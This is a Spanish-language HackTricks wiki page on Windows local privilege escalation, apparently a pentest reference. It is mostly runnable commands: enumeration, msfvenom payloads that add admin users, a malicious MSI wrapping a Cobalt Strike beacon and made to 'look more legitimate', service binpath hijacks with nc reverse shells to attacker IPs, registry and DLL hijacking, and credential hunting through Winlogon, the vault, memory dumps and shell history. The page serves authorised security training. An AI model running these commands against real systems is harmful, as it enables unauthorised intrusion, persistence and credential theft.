Escalada de privilegios local en Windows

Reading time: 60 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Revisa los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Mejor herramienta para buscar vectores de escalada de privilegios local en Windows: WinPEAS

Teoría inicial de Windows

Access Tokens

Si no sabes qué son los Access Tokens de Windows, lee la siguiente página antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la siguiente página para más información sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Niveles de integridad

Si no sabes qué son los niveles de integridad en Windows, deberías leer la siguiente página antes de continuar:

Integrity Levels

Controles de seguridad de Windows

Hay diferentes elementos en Windows que podrían impedirte enumerar el sistema, ejecutar ejecutables o incluso detectar tus actividades. Debes leer la siguiente página y enumerar todos estos mecanismos de defensa antes de comenzar la enumeración para escalada de privilegios:

Windows Security Controls

Información del sistema

Enumeración de información de versión

Comprueba si la versión de Windows tiene alguna vulnerabilidad conocida (revisa también los parches aplicados).

bash

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

bash

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Este site es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la enorme superficie de ataque que presenta un entorno Windows.

On the system

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
watson
winpeas (Winpeas tiene watson integrado)

Locally with system information

Github repos of exploits:

Environment

¿Alguna credencial/información sensible guardada en las env variables?

bash

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historial de PowerShell

bash

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Archivos de transcripción de PowerShell

Puedes aprender cómo habilitar esto en https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Se registran detalles de las ejecuciones del pipeline de PowerShell, incluyendo comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, es posible que no se capturen todos los detalles de la ejecución ni los resultados de salida.

Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, optando por "Module Logging" en lugar de "Powershell Transcription".

bash

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver los últimos 15 eventos de los registros de PowersShell puedes ejecutar:

bash

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Se captura un registro completo de actividad y del contenido íntegro de la ejecución del script, asegurando que cada bloque de código quede documentado mientras se ejecuta. Este proceso preserva una traza de auditoría completa de cada actividad, valiosa para el análisis forense y la evaluación del comportamiento malicioso. Al documentar toda la actividad en el momento de la ejecución, se obtiene información detallada sobre el proceso.

bash

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Los eventos de registro para el Script Block se pueden localizar en el Visor de eventos de Windows en la ruta: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para ver los últimos 20 eventos puedes usar:

bash

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configuración de Internet

bash

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

bash

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puedes comprometer el sistema si las actualizaciones no se solicitan usando httpS sino http.

Empiezas comprobando si la red usa una actualización WSUS sin SSL ejecutando lo siguiente en cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

O lo siguiente en PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Si recibes una respuesta como una de estas:

bash

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

bash

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Y si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" es igual a 1.

Entonces, it is exploitable. Si el último registro es igual a 0, entonces la entrada WSUS será ignorada.

Para explotar estas vulnerabilidades puedes usar herramientas como: Wsuxploit, pyWSUS - Estos son scripts de exploits MiTM para inyectar actualizaciones 'falsas' en el tráfico WSUS no cifrado (non-SSL).

Lee la investigación aquí:

WSUS CVE-2020-1013

Read the complete report here.
Básicamente, este es el fallo que explota este bug:

Si tenemos la capacidad de modificar el proxy del usuario local, y Windows Updates usa el proxy configurado en la configuración de Internet Explorer, por lo tanto tenemos la capacidad de ejecutar PyWSUS localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro equipo.

Además, dado que el servicio WSUS usa la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el hostname de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico HTTP como HTTPS de WSUS. WSUS no utiliza mecanismos tipo HSTS para implementar una validación tipo trust-on-first-use sobre el certificado. Si el certificado presentado es confiable para el usuario y tiene el hostname correcto, será aceptado por el servicio.

Puedes explotar esta vulnerabilidad usando la herramienta WSUSpicious (once it's liberated).

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. Estas condiciones incluyen entornos donde LDAP signing is not enforced, los usuarios poseen permisos que les permiten configurar Resource-Based Constrained Delegation (RBCD), y la capacidad de que los usuarios creen equipos dentro del dominio. Es importante notar que estos requirements se cumplen usando la configuración default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Si estos 2 registros están habilitados (valor es 0x1), entonces usuarios de cualquier privilegio pueden install (ejecutar) *.msi files como NT AUTHORITY\SYSTEM.

bash

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si tienes una sesión de meterpreter puedes automatizar esta técnica usando el módulo exploit/windows/local/always_install_elevated

PowerUP

Usa el comando Write-UserAddMSI de power-up para crear, dentro del directorio actual, un binario MSI de Windows para escalar privilegios. Este script escribe un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GIU):

Write-UserAddMSI

Simplemente ejecuta el binario creado para escalar privilegios.

MSI Wrapper

Lee este tutorial para aprender cómo crear un MSI wrapper usando estas herramientas. Ten en cuenta que puedes envolver un archivo ".bat" si solo quieres ejecutar líneas de comando

MSI Wrapper

Create MSI with WIX

Create MSI with Visual Studio

Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
Right-click the project and select View > Custom Actions.
Right-click Install and select Add Custom Action.
Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
Under the Custom Action Properties, change Run64Bit to True.
Finally, constrúyelo.
If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.

MSI Installation

Para ejecutar la instalación del archivo .msi malicioso en segundo plano:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explotar esta vulnerabilidad puedes usar: exploit/windows/local/always_install_elevated

Antivirus y detectores

Ajustes de auditoría

Estos ajustes deciden qué se registra, por lo que debes prestar atención

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding: es interesante saber a dónde se envían los logs

bash

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS está diseñado para la gestión de las contraseñas locales del Administrator, asegurando que cada contraseña sea única, aleatoria y se actualice regularmente en equipos unidos a un dominio. Estas contraseñas se almacenan de forma segura dentro de Active Directory y solo pueden ser accedidas por usuarios a los que se les hayan otorgado permisos suficientes mediante ACLs, permitiéndoles ver las contraseñas de admin local si están autorizados.

LAPS

WDigest

Si está activo, las contraseñas en texto plano se almacenan en LSASS (Local Security Authority Subsystem Service).
Más información sobre WDigest en esta página.

bash

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Protección de LSA

A partir de Windows 8.1, Microsoft introdujo protección mejorada para la Autoridad de Seguridad Local (LSA) para bloquear intentos de procesos no confiables de leer su memoria o inyectar código, asegurando aún más el sistema.
Más información sobre la Protección de LSA aquí.

bash

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard fue introducido en Windows 10. Su propósito es proteger las credenciales almacenadas en un dispositivo frente a amenazas como ataques pass-the-hash.| More info about Credentials Guard here.

bash

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials son autenticadas por la Local Security Authority (LSA) y son utilizadas por componentes del sistema operativo. Cuando los datos de logon de un usuario son autenticados por un security package registrado, por lo general se establecen domain credentials para ese usuario.
More info about Cached Credentials here.

bash

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuarios y Grupos

Enumerar Usuarios y Grupos

Debes comprobar si alguno de los grupos a los que perteneces tiene permisos interesantes.

bash

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Si perteneces a algún grupo privilegiado, puedes escalar privilegios. Aprende sobre grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí:

Privileged Groups

Manipulación de tokens

Aprende más sobre qué es un token en esta página: Windows Tokens.
Consulta la siguiente página para aprender sobre tokens interesantes y cómo abusar de ellos:

Abusing Tokens

Usuarios conectados / Sesiones

bash

qwinsta
klist sessions

Carpetas de inicio

bash

dir C:\Users
Get-ChildItem C:\Users

Política de contraseñas

bash

net accounts

Obtener el contenido del portapapeles

bash

powershell -command "Get-Clipboard"

Procesos en ejecución

Permisos de archivos y carpetas

Antes que nada, al listar los procesos revisa si hay contraseñas dentro de la línea de comandos del proceso.
Comprueba si puedes sobrescribir algún binary en ejecución o si tienes permisos de escritura en la carpeta del binary para explotar posibles DLL Hijacking attacks:

bash

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Siempre comprueba posibles electron/cef/chromium debuggers en ejecución, podrías abusar de ellos para escalar privilegios.

Comprobando permisos de los binarios de los procesos

bash

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Comprobando permisos de las carpetas de los binarios de los procesos (DLL Hijacking)

bash

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Minería de contraseñas en memoria

Puedes crear un volcado de memoria de un proceso en ejecución usando procdump de sysinternals. Servicios como FTP tienen las credenciales en texto claro en la memoria; intenta volcar la memoria y leer las credenciales.

bash

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicaciones GUI inseguras

Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario abrir un CMD o explorar directorios.

Ejemplo: "Windows Help and Support" (Windows + F1), busca "command prompt", haz clic en "Click to open Command Prompt"

Servicios

Obtén una lista de servicios:

bash

net start
wmic service list brief
sc query
Get-Service

Permisos

Puedes usar sc para obtener información de un servicio

bash

sc qc <service_name>

Se recomienda contar con el binario accesschk de Sysinternals para verificar el nivel de privilegios requerido por cada servicio.

bash

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Se recomienda comprobar si "Authenticated Users" pueden modificar algún servicio:

bash

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Habilitar servicio

Si estás teniendo este error (por ejemplo con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puedes habilitarlo usando

bash

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)

Otra solución alternativa a este problema es ejecutar:

sc.exe config usosvc start= auto

Modificar la ruta del binario del servicio

En el escenario en que el grupo "Authenticated users" posee SERVICE_ALL_ACCESS en un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar sc:

bash

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar el servicio

bash

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Los privilegios pueden elevarse mediante varios permisos:

SERVICE_CHANGE_CONFIG: Permite reconfigurar el binario del servicio.
WRITE_DAC: Habilita la reconfiguración de permisos, lo que puede llevar a la capacidad de cambiar las configuraciones del servicio.
WRITE_OWNER: Permite la adquisición de la propiedad y la reconfiguración de permisos.
GENERIC_WRITE: Hereda la capacidad de cambiar las configuraciones del servicio.
GENERIC_ALL: También hereda la capacidad de cambiar las configuraciones del servicio.

Para la detección y explotación de esta vulnerabilidad, se puede utilizar exploit/windows/local/service_permissions.

Permisos débiles en binarios de servicios

Comprueba si puedes modificar el binario que es ejecutado por un servicio o si tienes permisos de escritura en la carpeta donde se encuentra el binario (DLL Hijacking).
Puedes obtener todos los binarios que son ejecutados por un servicio usando wmic (not in system32) y comprobar tus permisos usando icacls:

bash

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

También puedes usar sc e icacls:

bash

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permisos para modificar el registro de servicios

Comprueba si puedes modificar algún registro de servicio.
Puedes comprobar tus permisos sobre un registro de servicio haciendo:

bash

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Se debe comprobar si Authenticated Users o NT AUTHORITY\INTERACTIVE poseen permisos de FullControl. Si es así, el binario ejecutado por el servicio puede ser alterado.

Para cambiar la ruta del binario ejecutado:

bash

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Registro de servicios: permisos AppendData/AddSubdirectory

Si tienes este permiso sobre una clave del registro significa que puedes crear sub-claves del registro a partir de esta. En el caso de los servicios de Windows, esto es suficiente para ejecutar código arbitrario:

AppendData/AddSubdirectory permission over service registry

Rutas de servicio sin comillas

Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada componente que termine antes de un espacio.

Por ejemplo, para la ruta C:\Program Files\Some Folder\Service.exe Windows intentará ejecutar:

bash

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Enumera todas las rutas de servicios sin comillas, excluyendo las que pertenecen a servicios integrados de Windows:

bash

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

bash

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

bash

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puedes detectar y explotar esta vulnerabilidad con metasploit: exploit/windows/local/trusted\_service\_path Puedes crear manualmente un binario de servicio con metasploit:

bash

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Acciones de recuperación

Windows permite a los usuarios especificar acciones a ejecutar si un servicio falla. Esta función puede configurarse para apuntar a un binario. Si este binario es reemplazable, podría ser posible privilege escalation. Más detalles se pueden encontrar en la documentación oficial.

Aplicaciones

Aplicaciones instaladas

Verifica los permisos de los binarios (quizás puedas sobrescribir uno y escalate privileges) y de las carpetas (DLL Hijacking).

bash

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permisos de escritura

Comprueba si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que vaya a ser ejecutado por una cuenta Administrator (schedtasks).

Una forma de encontrar permisos débiles en carpetas/archivos del sistema es hacer:

bash

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

bash

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

bash

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Ejecutar al inicio

Comprueba si puedes sobrescribir algún registry o binary que vaya a ser ejecutado por un usuario diferente.
Lee la siguiente página para aprender más sobre interesantes autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

Busca posibles third party weird/vulnerable drivers

bash

driverquery
driverquery.exe /fo table
driverquery /SI

Si un controlador expone una primitiva arbitraria de lectura/escritura en el kernel (común en manejadores de IOCTL mal diseñados), puedes escalar robando un token SYSTEM directamente de la memoria del kernel. Consulta la técnica paso a paso aquí:

Arbitrary Kernel Rw Token Theft

PATH DLL Hijacking

If you have permisos de escritura dentro de una carpeta presente en PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Comprueba los permisos de todas las carpetas dentro de PATH:

bash

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para más información sobre cómo abusar de esta comprobación:

Writable Sys Path +Dll Hijacking Privesc

Red

Recursos compartidos

bash

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Comprueba si hay otros equipos conocidos codificados en el hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de red & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Puertos abiertos

Comprueba si hay servicios restringidos desde el exterior

bash

netstat -ano #Opened ports?

Tabla de enrutamiento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabla ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reglas de Firewall

Check this page for Firewall related commands (listar reglas, crear reglas, desactivar, desactivar...)

Más commands for network enumeration here

Subsistema de Windows para Linux (wsl)

bash

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

El binario bash.exe también se puede encontrar en C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si obtienes el usuario root puedes escuchar en cualquier puerto (la primera vez que uses nc.exe para escuchar en un puerto te preguntará vía GUI si nc debe ser permitido por el firewall).

bash

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar bash fácilmente como root, puedes probar --default-user root

Puedes explorar el sistema de archivos de WSL en la carpeta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciales de Windows

Credenciales de Winlogon

bash

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Administrador de credenciales / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
El Windows Vault almacena credenciales de usuario para servidores, sitios web y otros programas con los que Windows puede iniciar automáticamente la sesión de los usuarios. A primera vista, esto podría parecer que los usuarios pueden almacenar sus credenciales de Facebook, Twitter, Gmail, etc., para que inicien sesión automáticamente en los navegadores. Pero no es así.

El Windows Vault almacena credenciales que Windows puede usar para iniciar automáticamente la sesión de los usuarios, lo que significa que cualquier Windows application that needs credentials to access a resource (servidor o un sitio web) can make use of this Credential Manager & Windows Vault y usar las credenciales suministradas en lugar de que los usuarios introduzcan el nombre de usuario y la contraseña todo el tiempo.

Salvo que las aplicaciones interactúen con Credential Manager, no creo que sea posible que utilicen las credenciales para un recurso dado. Por lo tanto, si tu aplicación quiere hacer uso del vault, debería de alguna manera communicate with the credential manager and request the credentials for that resource desde el vault de almacenamiento predeterminado.

Use the cmdkey to list the stored credentials on the machine.

bash

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Entonces puedes usar runas con la opción /savecred para usar las credenciales guardadas. El siguiente ejemplo está llamando a un binario remoto vía un SMB share.

bash

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas con un conjunto de credenciales proporcionadas.

bash

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Ten en cuenta que mimikatz, lazagne, credentialfileview, VaultPasswordView, o desde Empire Powershells module.

DPAPI

La API de Protección de Datos (DPAPI) proporciona un método para el cifrado simétrico de datos, utilizado predominantemente en el sistema operativo Windows para el cifrado simétrico de claves privadas asimétricas. Este cifrado aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.

DPAPI permite el cifrado de claves mediante una clave simétrica que se deriva de los secretos de inicio de sesión del usuario. En escenarios que implican el cifrado del sistema, utiliza los secretos de autenticación del dominio del sistema.

Las claves RSA de usuario cifradas, al usar DPAPI, se almacenan en el directorio %APPDATA%\Microsoft\Protect\{SID}, donde {SID} representa el Security Identifier del usuario. La clave DPAPI, ubicada junto con la clave maestra que protege las claves privadas del usuario en el mismo archivo, normalmente consta de 64 bytes de datos aleatorios. (Es importante tener en cuenta que el acceso a este directorio está restringido, impidiendo listar su contenido mediante el comando dir en CMD, aunque sí puede listarse a través de PowerShell).

bash

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

